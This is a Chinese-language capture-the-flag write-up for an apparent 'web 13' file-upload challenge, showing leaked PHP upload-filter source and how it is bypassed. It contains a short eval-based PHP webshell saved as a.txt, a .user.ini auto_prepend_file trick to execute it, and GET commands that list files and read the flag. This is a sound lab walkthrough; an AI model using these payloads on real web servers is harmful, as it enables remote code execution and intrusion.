web 13
打開環境,我們來看一下,這是一道典型的文件上傳的題。那我們就來做一下。
首先那肯定是要上傳一句話木馬的。那我們先試着上傳一句話木馬。結果提示出錯了。
這是怎么回事呢。那我們找一下源碼吧。輸入/upload.php.bak便可將源碼下載下來。
1 <?php 2 header("content-type:text/html;charset=utf-8"); 3 $filename = $_FILES['file']['name'];//獲取文件名 4 $temp_name = $_FILES['file']['tmp_name']; 5 $size = $_FILES['file']['size'];//獲取文件大小 6 $error = $_FILES['file']['error']; 7 $arr = pathinfo($filename); 8 $ext_suffix = $arr['extension'];//獲取文件的擴展名 9 if ($size > 24){ 10 die("error file zise"); 11 } 12 if (strlen($filename)>9){ 13 die("error file name"); 14 } 15 if(strlen($ext_suffix)>3){ 16 die("error suffix"); 17 } 18 if(preg_match("/php/i",$ext_suffix)){ 19 die("error suffix"); 20 } 21 if(preg_match("/php/i"),$filename)){ 22 die("error file name"); 23 } 24 if (move_uploaded_file($temp_name, './'.$filename)){ 25 echo "文件上傳成功!"; 26 }else{ 27 echo "文件上傳失敗!"; 28 } 29 30 ?>
這家伙不僅過濾了php文件,而且還對上傳文件進行了限制。
就是你上傳的文件,內容大小得小於等於24,擴展名不長度得小於等於3,文件名得小於等於9,擴展名和文件名里都不能出現php。我的天。
這怎么解決。首先我們的內容肯定是一句話木馬。這已經超出了長度。這樣的話就把它改成 <?php eval($_GET['a']); ,然后文件名為a.txt.這樣的話就符合條件了吧。當然只上傳這個是達不到我們的目的的。所以我們還需要上傳一個文件。 .user.ini 它是PHP 支持基於每個目錄的 INI 文件配置,而且如果你的 PHP 以模塊化運行在 Apache 里,則用 .htaccess 文件有同樣效果。
然后我們再此文件里寫入 auto_prepend_file =a.txt
auto_prepend_file是什么是意思呢。它就是設置頁眉和腳注,可以保證它們在每個頁面的前后被載入。使用這些指令包含的文件可以像使用include()語句包含的文件一樣
有了這條件命令后。我們就可以執行a.txt的內容了。
然后我們先上傳文件a.txt
然后再上傳.urser.ini文件
上傳成功之后 我們先訪問phpinfo()進行測試。
看來上傳成功了。
那好我們來訪問一下目錄。 ?a=print_r(scandir("."));
發現此文件,讀取一下 ?a=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");
拿到flag
參考文章:
auto_prepend_file與auto_append_file
感謝兩位師傅!!!